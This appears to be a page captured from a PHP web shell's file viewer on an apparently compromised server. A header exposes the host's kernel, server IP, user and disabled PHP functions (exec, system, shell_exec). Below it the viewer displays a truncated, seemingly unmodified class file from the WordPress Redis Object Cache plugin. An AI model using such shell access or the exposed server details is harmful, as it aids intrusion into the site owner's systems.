Uname: Linux baohanhelectrolux 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
Software: nginx/1.24.0
PHP version: 8.4.24 [ PHP INFO ] PHP os: Linux
Server Ip: 103.90.227.231
Your Ip: 216.73.217.141
User: www (1000) | Group: www (1000)
Safe Mode: OFF
Disable Function:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : class-plugin.php
<?php
/**
 * Main plugin class
 *
 * @package Rhubarb\RedisCache
 */

namespace Rhubarb\RedisCache;

use WP_Error;
use Exception;

defined( 'ABSPATH' ) || exit;

/**
 * Main plugin class definition
 */
class Plugin {

    /**
     * Settings page uri
     *
     * @var string $page
     */
    private $page = '';

    /**
     * Settings page slug
     *
     * @var string $screen
     */
    private $screen = '';

    /**
     * Allowed setting page actions
     *
     * @var string[] $actions
     */
    private $actions = [
        'enable-cache',
        'disable-cache',
        'flush-cache',
        'update-dropin',
    ];

    /**
     * Plugin instance property
     *
     * @var Plugin|null
     */
    private static $instance;

    /**
     * Plugin instantiation method
     *
     * @return Plugin
     */
    public static function instance() {
        if ( ! isset( self::$instance ) ) {
            self::$instance = new self();
        }

        return self::$instance;
    }

    /**
     * Constructor
     */
    private function __construct() {
        require_once ABSPATH . 'wp-admin/includes/plugin.php';

        if ( is_multisite() ) {
            $this->page = 'settings.php?page=redis-cache';
            $this->screen = 'settings_page_redis-cache-network';
        } else {
            $this->page = 'options-general.php?page=redis-cache';
            $this->screen = 'settings_page_redis-cache';
        }

        Metrics::init();

        $this->add_actions_and_filters();
    }

    /**
     * Adds all necessary hooks
     *
     * @return void
     */
    public function add_actions_and_filters() {
        add_action( 'deactivate_plugin', [ $this, 'on_deactivation' ] );
        add_action( 'admin_init', [ $this, 'maybe_update_dropin' ] );
        add_action( 'admin_init', [ $this, 'maybe_redirect' ] );
        add_action( 'init', [ $this, 'init' ] );

        add_action( is_multisite() ? 'network_admin_menu' : 'admin_menu', [ $this, 'add_admin_menu_page' ] );

        add_action( 'admin_notices', [ $this, 'show_admin_notices' ] );
        add_action( 'network_admin_notices', [ $this, 'show_admin_notices' ] );

        add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_admin_styles' ] );
        add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_admin_scripts' ] );
        add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_redis_metrics' ] );

        add_action( 'admin_bar_menu', [ $this, 'render_admin_bar' ], 998 );

        add_action( 'load-settings_page_redis-cache', [ $this, 'do_admin_actions' ] );

        add_action( 'wp_dashboard_setup', [ $this, 'setup_dashboard_widget' ] );
        add_action( 'wp_network_dashboard_setup', [ $this, 'setup_dashboard_widget' ] );

        add_action( 'wp_ajax_roc_dismiss_notice', [ $this, 'ajax_dismiss_notice' ] );
        add_action( 'wp_ajax_roc_flush_cache', [ $this, 'ajax_flush_cache' ] );

        add_filter( 'gettext_redis-cache', [ $this, 'get_text' ], 10, 2 );

        add_filter( 'plugin_row_meta', [ $this, 'add_plugin_row_meta' ], 10, 2 );
        add_filter( sprintf( '%splugin_action_links_%s', is_multisite() ? 'network_admin_' : '', WP_REDIS_BASENAME ), [ $this, 'add_plugin_actions_links' ] );

        add_action( 'wp_head', [ $this, 'register_shutdown_hooks' ] );

        add_action( 'redis_object_cache_enable', [ $this, 'maybe_delete_transients' ] );

        add_filter( 'qm/collectors', [ $this, 'register_qm_collector' ], 25 );
        add_filter( 'qm/outputter/html', [ $this, 'register_qm_output' ] );

        add_filter( 'perflab_disable_object_cache_dropin', '__return_true' );
        add_filter( 'w3tc_config_item_objectcache.enabled', '__return_false' );
        add_action( 'litespeed_init', [ $this, 'litespeed_disable_objectcache' ] );
    }

    /**
     * Callback of the `init` hook.
     *
     * @return void
     */
    public function init() {
        if ( is_admin() && ! wp_next_scheduled( 'rediscache_discard_metrics' ) ) {
            wp_schedule_event( time(), 'hourly', 'rediscache_discard_metrics' );
        }
    }

    /**
     * Adds a submenu page to "Settings"
     *
     * @return void
     */
    public function add_admin_menu_page() {
        add_submenu_page(
            is_multisite() ? 'settings.php' : 'options-general.php',
            __( 'Redis Object Cache', 'redis-cache' ),
            __( 'Redis', 'redis-cache' ),
            $this->manage_redis_capability(),
            'redis-cache',
            [ $this, 'show_admin_page' ]
        );
    }

    /**
     * Displays the settings page
     *
     * @return void
     */
    public function show_admin_page() {
        // Request filesystem credentials?
        if ( isset( $_GET['_wpnonce'], $_GET['action'] ) ) {
            $action = sanitize_key( $_GET['action'] );
            $nonce = sanitize_key( $_GET['_wpnonce'] );

            foreach ( $this->actions as $name ) {
                // Nonce verification.
                if ( $action === $name && wp_verify_nonce( $nonce, $action ) ) {
                    $url = $this->action_link( $action );

                    if ( $this->initialize_filesystem( $url ) === false ) {
                        return; // Request filesystem credentials.
                    }
                }
            }
        }

        if ( wp_next_scheduled( 'redis_gather_metrics' ) ) {
            wp_clear_scheduled_hook( 'redis_gather_metrics' );
        }

        UI::register_tab(
            'overview',
            __( 'Overview', 'redis-cache' ),
            [ 'default' => true ]
        );

        UI::register_tab(
            'metrics',
            __( 'Metrics', 'redis-cache' ),
            [ 'disabled' => ! Metrics::is_enabled() ]
        );

        UI::register_tab(
            'diagnostics',
            __( 'Diagnostics', 'redis-cache' )
        );

        // Show the admin page.
        require_once WP_REDIS_PLUGIN_PATH . '/includes/ui/settings.php';
    }

    /**
     * Adds the dashboard metrics widget
     *
     * @return void
     */
    public function setup_dashboard_widget() {
        if ( ! $this->current_user_can_manage_redis() ) {
            return;
        }

        if ( ! Metrics::is_enabled() ) {
            return;
        }

        wp_add_dashboard_widget(
            'dashboard_rediscache',
            __( 'Redis Object Cache', 'redis-cache' ),
            [ $this, 'show_dashboard_widget' ],
            null,
            null,
            'normal',
            'high'
        );
    }

    /**
     * Displays the dashboard widget
     *
     * @return void
     */
    public function show_dashboard_widget() {
        require_once WP_REDIS_PLUGIN_PATH . '/includes/ui/widget.php';
    }

    /**
     * Adds the settings page to the plugin action links on the plugin page
     *
     * @param string[] $links The current plugin action links.
     * @return string[]
     */
    public function add_plugin_actions_links( $links ) {
        $settings = sprintf(
            '<a href="%s">%s</a>',
            network_admin_url( $this->page ),
            esc_html__( 'Settings', 'redis-cache' )
        );

        return array_merge( [ $settings ], $links );
    }

    /**
     * Ensure Author URI has UTM parameters.
     *
     * @param string $translation Translated text.
     * @param string $text Text to translate.
     * @return string
     */
    public function get_text( $translation, $text ) {
        if ( $text === 'https://objectcache.pro' ) {
            return $this->link_to_ocp( 'author', false );
        }

        return $translation;
    }

    /**
     * Adds plugin meta links on the plugin page
     *
     * @param string[] $plugin_meta An array of the plugin's metadata.
     * @param string   $plugin_file Path to the plugin file relative to the plugins directory.
     * @return string[] An array of the plugin's metadata.
     */
    public function add_plugin_row_meta( array $plugin_meta, $plugin_file ) {
        if ( strpos( $plugin_file, 'redis-cache.php' ) === false ) {
            return $plugin_meta;
        }

        if ( self::acceleratewp_install() ) {
            return $plugin_meta;
        }

        $plugin_meta[] = sprintf(
            '<a href="%1$s"><span class="dashicons dashicons-star-filled" aria-hidden="true" style="font-size: 14px; line-height: 1.3"></span>%2$s</a>',
            $this->link_to_ocp( 'meta-row' ),
            esc_html_x( 'Upgrade to Pro', 'verb', 'redis-cache' )
        );

        return $plugin_meta;
    }

    /**
     * Returns the link to Object Cache Pro.
     *
     * @param string $medium
     * @param bool $as_html
     * @return string
     */
    public function link_to_ocp($medium, $as_html = true){
        $ref = 'oss';

        if ( self::acceleratewp_install( true ) ) {
            $ref = 'oss-cl';
        }

        $url = "https://objectcache.pro/?ref={$ref}&utm_source=wp-plugin&utm_medium={$medium}";

        return $as_html ? str_replace('&', '&amp;', $url) : $url;
    }

    /**
     * Enqueues admin style resources
     *
     * @return void
     */
    public function enqueue_admin_styles() {
        $screen = get_current_screen();

        if ( ! isset( $screen->id ) ) {
            return;
        }

        $screens = [
            $this->screen,
            'dashboard',
            'dashboard-network',
        ];

        if ( ! in_array( $screen->id, $screens, true ) ) {
            return;
        }

        wp_enqueue_style(
            'redis-cache',
            trailingslashit( WP_REDIS_PLUGIN_DIR ) . 'assets/css/admin.css',
            [],
            WP_REDIS_VERSION
        );
    }

    /**
     * Enqueues admin script resources
     *
     * @return void
     */
    public function enqueue_admin_scripts() {
        $screen = get_current_screen();

        if ( ! isset( $screen->id ) ) {
            return;
        }

        $screens = [
            $this->screen,
            'dashboard',
            'dashboard-network',
            'edit-shop_order',
            'edit-product',
            'woocommerce_page_wc-admin',
        ];

        if ( ! in_array( $screen->id, $screens, true ) ) {
            return;
        }

        $clipboard = file_exists( ABSPATH . WPINC . '/js/clipboard.min.js' );

        wp_enqueue_script(
            'redis-cache',
            plugins_url( 'assets/js/admin.js', WP_REDIS_FILE ),
            array_merge( [ 'jquery', 'underscore' ], $clipboard ? [ 'clipboard' ] : [] ),
            WP_REDIS_VERSION,
            true
        );

        wp_localize_script(
            'redis-cache',
            'rediscache',
            [
                'jQuery' => 'jQuery',
                'is_wp7' => version_compare( get_bloginfo( 'version' ), '7.0-dev', '>=' ),
                'disable_pro' => $screen->id !== $this->screen
                    || ( defined( 'WP_REDIS_DISABLE_BANNERS' ) && WP_REDIS_DISABLE_BANNERS )
                    || self::acceleratewp_install(),
                'l10n' => [
                    'time' => __( 'Time', 'redis-cache' ),
                    'bytes' => __( 'Bytes', 'redis-cache' ),
                    'ratio' => __( 'Ratio', 'redis-cache' ),
                    'calls' => __( 'Calls', 'redis-cache' ),
                    'no_data' => __( 'Not enough data collected, yet.', 'redis-cache' ),
                    'no_cache' => __( 'Enable object cache to collect data.', 'redis-cache' ),
                    'pro' => 'Object Cache Pro',
                ],
            ]
        );
    }

    /**
     * Enqueues scripts to display recorded metrics
     *
     * @return void
     */
    public function enqueue_redis_metrics() {
        if ( ! Metrics::is_enabled() ) {
            return;
        }

        $screen = get_current_screen();

        if ( ! isset( $screen->id ) ) {
            return;
        }

        if ( ! in_array( $screen->id, [ $this->screen, 'dashboard', 'dashboard-network' ], true ) ) {
            return;
        }

        wp_enqueue_script(
            'redis-cache-charts',
            plugins_url( 'assets/js/apexcharts.min.js', WP_REDIS_FILE ),
            [],
            WP_REDIS_VERSION,
            true
        );

        if ( ! $this->get_redis_status() ) {
            return;
        }

        $min_time = $screen->id === $this->screen
            ? Metrics::max_time()
            : MINUTE_IN_SECONDS * 30;

        $metrics = Metrics::get( $min_time );

        wp_localize_script( 'redis-cache', 'rediscache_metrics', $metrics );
    }

    /**
     * Registers a new cache collector for the Query Monitor plugin
     *
     * @param array $collectors Array of currently registered collectors.
     * @return array
     */
    public function register_qm_collector( array $collectors ) {
        $collectors['cache'] = new QM_Collector();

        return $collectors;
    }

    /**
     * Registers a new cache output using our collector for the Query Monitor plugin
     *
     * @param array $output Array of current QM_Output handlers.
     * @return array
     */
    public function register_qm_output( $output ) {
        $collector = \QM_Collectors::get( 'cache' );

        if (
            $collector instanceof QM_Collector &&
            method_exists( 'QM_Output_Html', 'before_non_tabular_output' )
        ) {
            $output['cache'] = new QM_Output( $collector );
        }

        return $output;
    }

    /**
     * Checks if the `object-cache.php` drop-in exists
     *
     * @return bool
     */
    public function object_cache_dropin_exists() {
        return file_exists( WP_CONTENT_DIR . '/object-cache.php' );
    }

    /**
     * Validates the `object-cache.php` drop-in
     *
     * @return bool
     */
    public function validate_object_cache_dropin() {
        if ( ! $this->object_cache_dropin_exists() ) {
            return false;
        }

        $dropin = get_plugin_data( WP_CONTENT_DIR . '/object-cache.php' );
        $plugin = get_plugin_data( WP_REDIS_PLUGIN_PATH . '/includes/object-cache.php' );

        /**
         * Filters the drop-in validation state
         *
         * @since 2.0.16
         * @param bool   $state      The validation state of the drop-in.
         * @param string $dropin     The `PluginURI` of the drop-in.
         * @param string $plugin     The `PluginURI` of the plugin.
         */
        return apply_filters(
            'redis_cache_validate_dropin',
            $dropin['PluginURI'] === $plugin['PluginURI'],
            $dropin['PluginURI'],
            $plugin['PluginURI']
        );
    }

    /**
     * Checks if the `object-cache.php` drop-in is outdated
     *
     * @return bool
     */
    public function object_cache_dropin_outdated() {
        if ( ! $this->object_cache_dropin_exists() ) {
            return false;
        }

        $dropin = get_plugin_data( WP_CONTENT_DIR . '/object-cache.php' );
        $plugin = get_plugin_data( WP_REDIS_PLUGIN_PATH . '/includes/object-cache.php' );

        if ( $dropin['PluginURI'] === $plugin['PluginURI'] ) {
            return version_compare( $dropin['Version'], $plugin['Version'], '<' );
        }

        return false;
    }

    /**
     * Retrieves the current human-readable status
     *
     * @return string
     */
    public function get_status() {
        global $wp_object_cache;

        if ( defined( 'WP_REDIS_DISABLED' ) && WP_REDIS_DISABLED ) {
            return __( 'Disabled', 'redis-cache' );
        }

        if ( ! $this->object_cache_dropin_exists() ) {
            return __( 'Not enabled', 'redis-cache' );
        }

        if ( $this->object_cache_dropin_outdated() ) {
            return __( 'Drop-in is outdated', 'redis-cache' );
        }

        if ( ! $this->validate_object_cache_dropin() ) {
            return __( 'Drop-in is invalid', 'redis-cache' );
        }

        if ( method_exists( $wp_object_cache, 'redis_status' ) ) {
            return $wp_object_cache->redis_status()
                ? __( 'Connected', 'redis-cache' )
                : __( 'Not connected', 'redis-cache' );
        }

        return __( 'Unknown', 'redis-cache' );
    }

    /**
     * Retrieves the Redis connection status
     *
     * @return bool|null Boolean Redis connection status if available, null otherwise.
     */
    public function get_redis_status() {
        global $wp_object_cache;

        if ( defined( 'WP_REDIS_DISABLED' ) && WP_REDIS_DISABLED ) {
            return null;
        }

        if ( $this->object_cache_dropin_outdated() ) {
            return null;
        }

        if ( ! $this->validate_object_cache_dropin() ) {
            return null;
        }

        if ( ! method_exists( $wp_object_cache, 'redis_status' ) ) {
            return null;
        }

        return $wp_object_cache->redis_status();
    }

    /**
     * Check whether we can connect to Redis via Predis.
     *
     * @return bool|string
     */
    public function check_redis_connection() {
        try {
            $predis = new Predis();
            $predis->connect();
        } catch ( Exception $error ) {
            return $error->getMessage();
        }

        return true;
    }

    /**
     * Returns the redis version if possible
     *
     * @see WP_Object_Cache::redis_version()
     * @return null|string
     */
    public function get_redis_version() {
        global $wp_object_cache;

        if ( defined( 'WP_REDIS_DISABLED' ) && WP_REDIS_DISABLED ) {
            return null;
        }

        if ( ! $this->validate_object_cache_dropin() || ! method_exists( $wp_object_cache, 'redis_version' ) ) {
            return null;
        }

        return $wp_object_cache->redis_version();
    }

    /**
     * Returns the currently used redis client (if any)
     *
     * @return null|string
     */
    public function get_redis_client_name() {
        global $wp_object_cache;

        if ( isset( $wp_object_cache->diagnostics[ 'client' ] ) ) {
            return $wp_object_cache->diagnostics[ 'client' ];
        }

        if ( ! defined( 'WP_REDIS_CLIENT' ) ) {
            return null;
        }

        return WP_REDIS_CLIENT;
    }

    /**
     * Fetches the redis diagnostics data
     *
     * @return null|array
     */
    public function get_diagnostics() {
        global $wp_object_cache;

        if ( ! $this->validate_object_cache_dropin() || ! property_exists( $wp_object_cache, 'diagnostics' ) ) {
            return null;
        }

        return $wp_object_cache->diagnostics;
    }

    /**
     * Retrieves the redis prefix
     *
     * @return null|mixed
     */
    public function get_redis_prefix() {
        return defined( 'WP_REDIS_PREFIX' ) ? WP_REDIS_PREFIX : null;
    }

    /**
     * Retrieves the redis maximum time to live
     *
     * @return null|mixed
     */
    public function get_redis_maxttl() {
        return defined( 'WP_REDIS_MAXTTL' ) ? WP_REDIS_MAXTTL : null;
    }

    /**
     * Displays admin notices
     *
     * @return void
     */
    public function show_admin_notices() {
        $this->pro_notice();
        $this->wc_pro_notice();

        // Only show admin notices to users with the right capability.
        if ( ! $this->current_user_can_manage_redis() ) {
            return;
        }

        // Do not display the dropin message if you want
        if ( defined( 'WP_REDIS_DISABLE_DROPIN_BANNERS' ) && WP_REDIS_DISABLE_DROPIN_BANNERS ) {
            return;
        }

        if ( defined( 'RedisCachePro\Version' ) || defined( 'ObjectCachePro\Version' ) ) {
            return;
        }

        if ( $this->object_cache_dropin_exists() ) {
            if ( $this->validate_object_cache_dropin() ) {
                if ( $this->object_cache_dropin_outdated() ) {
                    $message = sprintf(
                        // translators: %s = Action link to update the drop-in.
                        __( 'The Redis object cache drop-in is outdated. Please <a href="%s">update the drop-in</a>.', 'redis-cache' ),
                        $this->action_link( 'update-dropin' )
                    );
                }
            } else {
                $message = sprintf(
                    // translators: %s = Link to settings page.
                    __( 'A foreign object cache drop-in was found. To use Redis for object caching, please <a href="%s">enable the drop-in</a>.', 'redis-cache' ),
                    esc_url( network_admin_url( $this->page ) )
                );
            }

            if ( isset( $message ) ) {
                printf( '<div class="update-nag notice notice-warning inline">%s</div>', wp_kses_post( $message ) );
            }
        }
    }

    /**
     * Display the admin bar menu item.
     *
     * @param \WP_Admin_Bar $wp_admin_bar
     *
     * @return void
     */
    public function render_admin_bar( $wp_admin_bar ) {
        if ( defined( 'WP_REDIS_DISABLE_ADMINBAR' ) && WP_REDIS_DISABLE_ADMINBAR ) {
            return;
        }

        if ( ! $this->current_user_can_manage_redis() ) {
            return;
        }

        $nodeTitle = __( 'Object Cache', 'redis-cache' );

        $style = preg_replace( '/\s+/', ' ', $this->admin_bar_style() );
        $script = preg_replace( '/\s+/', ' ', $this->admin_bar_script() );
        $html = "\n{$style}\n{$script}\n";

        $redis_status = $this->get_redis_status();

        $wp_admin_bar->add_node([
            'id' => 'redis-cache',
            'title' => $nodeTitle,
            'meta' => [
                'html' => $html,
                'class' => $redis_status === false ? 'redis-cache-error' : '',
            ],
        ]);

        if ( $redis_status ) {
            $wp_admin_bar->add_node([
                'parent' => 'redis-cache',
                'id' => 'redis-cache-flush',
                'title' => __( 'Flush Cache', 'redis-cache' ),
                'href' => $this->action_link( 'flush-cache' ),
            ]);
        }

        $wp_admin_bar->add_node([
            'parent' => 'redis-cache',
            'id' => 'redis-cache-metrics',
            'title' => __( 'Settings', 'redis-cache' ),
            'href' => network_admin_url( $this->page ),
        ]);

        $wp_admin_bar->add_group(
            [
                'id' => 'redis-cache-info',
                'parent' => 'redis-cache',
                'meta' => [
                    'class' => 'ab-sub-secondary',
                ],
            ]
        );

        $value = $this->get_status();
        // translators: %s = The status of the Redis connection.
        $title = sprintf( __( 'Status: %s', 'redis-cache' ), $value );

        if ( $redis_status ) {
            global $wp_object_cache;

            $info = $wp_object_cache->info();
            $hits = number_format_i18n( $info->hits );
            $misses = number_format_i18n( $info->misses );
            $size = size_format( $info->bytes );

            $value = sprintf(
                '%s%%&nbsp;&nbsp;%s/%s&nbsp;&nbsp;%s',
                $info->ratio,
                $hits,
                $misses,
                $size
            );

            $title = sprintf(
                // translators: 1: Hit ratio, 2: Hits, 3: Misses. 4: Human-readable size of cache.
                __( '(Current page) Hit Ratio: %1$s%%, Hits %2$s, Misses: %3$s, Size: %4$s', 'redis-cache' ),
                $info->ratio,
                $hits,
                $misses,
                $size
            );
        }

        $wp_admin_bar->add_node([
            'parent' => 'redis-cache-info',
            'id' => 'redis-cache-info-details',
            'title' => $value,
            'href' => $redis_status && Metrics::is_enabled() ? network_admin_url( $this->page . '#metrics' ) : '',
            'meta' => [
                'title' => $title,
            ],
        ]);
    }

    /**
     * Returns the admin-bar <style> tag.
     *
     * @return string
     */
    protected function admin_bar_style() {
        // phpcs:disable Squiz.PHP.Heredoc.NotAllowed
        return <<<HTML
            <style id="redis-cache-admin-bar-style">
                #wpadminbar ul li.redis-cache-error {
                    background: #b30000;
                }

                #wpadminbar:not(.mobile) .ab-top-menu > li.redis-cache-error:hover > .ab-item {
                    background: #b30000;
                    color: #fff;
                }
            </style>
HTML;
    }

    /**
     * Returns the admin-bar <script> tag.
     *
     * @return string
     */
    protected function admin_bar_script() {
        $nonce = wp_create_nonce();
        $ajaxurl = esc_url( admin_url( 'admin-ajax.php' ) );
        $flushMessage = __( 'Flushing cache...', 'redis-cache' );

        return <<<HTML
            <script id="redis-cache-admin-bar">
                (function (element) {
                    if (! element) {
                        return;
                    }

                    element.addEventListener('click', async function (event) {
                        event.preventDefault();

                        var node = document.querySelector('#wp-admin-bar-redis-cache');
                        var textNode = node.querySelector('.ab-item:first-child');

                        if (! textNode.dataset.text) {
                            textNode.dataset.text = textNode.innerText;
                        }

                        node.classList.remove('hover');
                        textNode.innerText = '{$flushMessage}';

                        try {
                            var data = new FormData();
                            data.append('action', 'roc_flush_cache');
                            data.append('nonce', '{$nonce}');

                            var response = await fetch('{$ajaxurl}', {
                                method: 'POST',
                                body: data,
                            });

                            textNode.innerText = await response.text();

                            setTimeout(function () {
                                textNode.innerText = textNode.dataset.text;
                            }, 3000);
                        } catch (error) {
                            textNode.innerText = textNode.dataset.text;
                            alert('Object cache could not be flushed: ' + error);
                        }
                    });
                })(
                    document.querySelector('#wp-admin-bar-redis-cache-flush > a')
                );
            </script>
HTML;
    }

    /**
     * Executes admin actions
     *
     * @return void
     */
    public function do_admin_actions() {
        global $wp_filesystem;

        if ( isset( $_GET['_wpnonce'], $_GET['action'] ) ) {
            $action = sanitize_key( $_GET['action'] );
            $nonce = sanitize_key( $_GET['_wpnonce'] );

            // Nonce verification.
            foreach ( $this->actions as $name ) {
                if ( $action === $name && ! wp_verify_nonce( $nonce, $action ) ) {
                    return;
                }
            }

            if ( in_array( $action, $this->actions, true ) ) {
                $url = $this->action_link( $action );

                if ( $action === 'flush-cache' ) {
                    wp_cache_flush()
                        ? add_settings_error(
                            'redis-cache',
                            'flush',
                            __( 'Object cache flushed.', 'redis-cache' ),
                            'updated'
                        )
                        : add_settings_error(
                            'redis-cache',
                            'flush',
                            __( 'Object cache could not be flushed.', 'redis-cache' ),
                            'error'
                        );
                }

                // do we have filesystem credentials?
                if ( $this->initialize_filesystem( $url, true ) ) {

                    if ( $action === 'enable-cache' ) {
                        $result = $wp_filesystem->copy(
                            WP_REDIS_PLUGIN_PATH . '/includes/object-cache.php',
                            WP_CONTENT_DIR . '/object-cache.php',
                            true,
                            FS_CHMOD_FILE
                        );

                        if ( $result ) {
                            (new Predis)->flush();
                        }

                        /**
                         * Fires on cache enable event
                         *
                         * @since 1.3.5
                         * @param bool $result Whether the filesystem event (copy of the `object-cache.php` file) was successful.
                         */
                        do_action( 'redis_object_cache_enable', $result );

                        $result
                            ? add_settings_error(
                                'redis-cache',
                                'dropin',
                                __( 'Object cache enabled.', 'redis-cache' ),
                                'updated'
                            )
                            : add_settings_error(
                                'redis-cache',
                                'dropin',
                                __( 'Object cache could not be enabled.', 'redis-cache' ),
                                'error'
                            );
                    }

                    if ( $action === 'disable-cache' ) {
                        $result = $wp_filesystem->delete( WP_CONTENT_DIR . '/object-cache.php' );

                        if ( $result ) {
                            (new Predis)->flush();
                        }

                        /**
                         * Fires on cache disable event
                         *
                         * @since 1.3.5
                         * @param bool $result Whether the filesystem event (deletion of the `object-cache.php` file) was successful.
                         */
                        do_action( 'redis_object_cache_disable', $result );

                        $result
                            ? add_settings_error(
                                'redis-cache',
                                'dropin',
                                __( 'Object cache disabled.', 'redis-cache' ),
                                'updated'
                            )
                            : add_settings_error(
                                'redis-cache',
                                'dropin',
                                __( 'Object cache could not be disabled.', 'redis-cache' ),
                                'error'
                            );
                    }

                    if ( $action === 'update-dropin' ) {
                        $result = $wp_filesystem->copy(
                            WP_REDIS_PLUGIN_PATH . '/includes/object-cache.php',
                            WP_CONTENT_DIR . '/object-cache.php',
                            true,
                            FS_CHMOD_FILE
                        );

                        /**
                         * Fires on cache update-dropin event
                         *
                         * @since 1.3.5
                         * @param bool $result Whether the filesystem event (copy of the `object-cache.php` file) was successful.
                         */
                        do_action( 'redis_object_cache_update_dropin', $result );

                        $result
                            ? add_settings_error(
                                'redis-cache',
                                'dropin',
                                __( 'Updated object cache drop-in and enabled Redis object cache.', 'redis-cache' ),
                                'updated'
                            )
                            : add_settings_error(
                                'redis-cache',
                                'dropin',
                                __( 'Object cache drop-in could not be updated.', 'redis-cache' ),
                                'error'
                            );
                    }
                }

                $messages = get_settings_errors( 'redis-cache' );

                if ( count( $messages ) !== 0 ) {
                    set_transient( 'settings_errors', $messages, 30 );

                    wp_safe_redirect(
                        network_admin_url( add_query_arg( 'settings-updated', 1, $this->page ) )
                    );
                    exit;
                }
            }
        }
    }

    /**
     * Dismisses the admin notice for the current user
     *
     * @return void
     */
    public function ajax_dismiss_notice() {
        if ( isset( $_POST['notice'] ) ) {
            check_ajax_referer( 'roc_dismiss_notice' );

            $notice = sprintf(
                'roc_dismissed_%s',
                sanitize_key( $_POST['notice'] )
            );

            update_user_meta( get_current_user_id(), $notice, '1' );
        }

        wp_die();
    }

    /**
     * Flushes object cache
     *
     * @return void
     */
    public function ajax_flush_cache() {
        if ( ! wp_verify_nonce( $_POST['nonce'] ?? '' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput
            wp_die( esc_html__( 'Invalid Nonce.', 'redis-cache' ) );
        } else if ( wp_cache_flush() ) {
            wp_die( esc_html__( 'Object cache flushed.', 'redis-cache' ) );
        } else {
            wp_die( esc_html__( 'Object cache could not be flushed.', 'redis-cache' ) );
        }
    }

    /**
     * Displays a redis cache pro admin notice
     *
     * @return void
     */
    public function pro_notice() {
        $screen = get_current_screen();

        if ( ! isset( $screen->id ) ) {
            return;
        }

        if ( $screen->id === $this->screen && ( defined( 'RedisCachePro\Version' ) || defined( 'ObjectCachePro\Version' ) ) ) {
            printf(
                '<div class="notice notice-warning"><p>%s</p></div>',
                wp_kses_post(
                    sprintf(
                        // translators: %s = Action link to update the drop-in.
                        __( 'The Object Cache Pro plugin appears to be installed and should be used. You can safely <a href="%s">uninstall Redis Object Cache</a>.', 'redis-cache' ),
                        esc_url( network_admin_url( 'plugins.php?plugin_status=all&s=redis%20object%20cache' ) )
                    )
                )
            );

            return;
        }

        if ( defined( 'RedisCachePro\Version' ) || defined( 'ObjectCachePro\Version' ) ) {
            return;
        }

        if ( defined( 'WP_REDIS_DISABLE_BANNERS' ) && WP_REDIS_DISABLE_BANNERS ) {
            return;
        }

        if ( ! in_array( $screen->id, [ 'dashboard', 'dashboard-network' ], true ) ) {
            return;
        }

        if ( ! $this->current_user_can_manage_redis() ) {
            return;
        }

        if ( intval( get_user_meta( get_current_user_id(), 'roc_dismissed_pro_release_notice', true ) ) === 1 ) {
            return;
        }

        printf(
            '<div class="notice notice-info is-dismissible" data-dismissible="pro_release_notice" data-nonce="%s"><p><strong>%s</strong> %s</p></div>',
            esc_attr( wp_create_nonce( 'roc_dismiss_notice' ) ),
            esc_html__( 'Object Cache Pro!', 'redis-cache' ),
            sprintf(
                // translators: %s = Link to the plugin setting screen.
                wp_kses_post( __( 'A <u>business class</u> object cache backend. Truly reliable, highly-optimized and fully customizable, with a <u>dedicated engineer</u> when you most need it. <a href="%s">Learn more »</a>', 'redis-cache' ) ),
                esc_url( network_admin_url( $this->page ) )
            )
        );
    }

    /**
     * Displays a redis cache pro admin notice specifically for WooCommerce
     *
     * @return void
     */
    public function wc_pro_notice() {
        if ( defined( 'RedisCachePro\Version' ) || defined( 'ObjectCachePro\Version' ) ) {
            return;
        }

        if ( defined( 'WP_REDIS_DISABLE_BANNERS' ) && WP_REDIS_DISABLE_BANNERS ) {
            return;
        }

        if ( ! class_exists( 'WooCommerce' ) ) {
            return;
        }

        $screen = get_current_screen();

        if ( ! isset( $screen->id ) ) {
            return;
        }

        if ( ! in_array( $screen->id, [ 'edit-shop_order', 'edit-product', 'woocommerce_page_wc-admin' ], true ) ) {
            return;
        }

        if ( ! $this->current_user_can_manage_redis() ) {
            return;
        }

        if ( intval( get_user_meta( get_current_user_id(), 'roc_dismissed_wc_pro_notice', true ) ) === 1 ) {
            return;
        }

        printf(
            '<div class="notice woocommerce-message woocommerce-admin-promo-messages is-dismissible" data-dismissible="wc_pro_notice" data-nonce="%s"><p><strong>%s</strong></p><p>%s</p></div>',
            esc_attr( wp_create_nonce( 'roc_dismiss_notice' ) ),
            esc_html__( 'Object Cache Pro + WooCommerce = ❤️', 'redis-cache' ),
            sprintf(
                // translators: %s = Link to the plugin's settings screen.
                wp_kses_post( __( 'Object Cache Pro is a <u>business class</u> object cache that’s highly-optimized for WooCommerce to provide true reliability, peace of mind and faster load times for your store. <a style="color: #bb77ae;" href="%s">Learn more »</a>', 'redis-cache' ) ),
                esc_url( network_admin_url( $this->page ) )
            )
        );
    }

    /**
     * Registers all hooks associated with the shutdown hook
     *
     * @return void
     */
    public function register_shutdown_hooks() {
        if ( ! defined( 'WP_REDIS_DISABLE_COMMENT' ) || ! WP_REDIS_DISABLE_COMMENT ) {
            add_action( 'shutdown', [ $this, 'maybe_print_comment' ], 0 );
        }
    }

    /**
     * Delete all transients if the cache was enabled successfully.
     * Callback for `redis_object_cache_enable` action.
     *
     * @param bool $should_delete
     * @return void
     */
    public function maybe_delete_transients( $should_delete ) {
        global $wpdb;

        if ( ! $should_delete ) {
            return;
        }

        if ( is_multisite() ) {
            $this->delete_multisite_transients();

            return;
        }

        $wpdb->query( $wpdb->prepare(
            "DELETE FROM {$wpdb->options} WHERE option_name LIKE %s OR option_name LIKE %s",
            '_transient_%',
            '_site_transient_%'
        ) );
    }

    /**
     * Deletes the transients for all blogs on the multisite network.
     *
     * @return void
     */
    protected function delete_multisite_transients() {
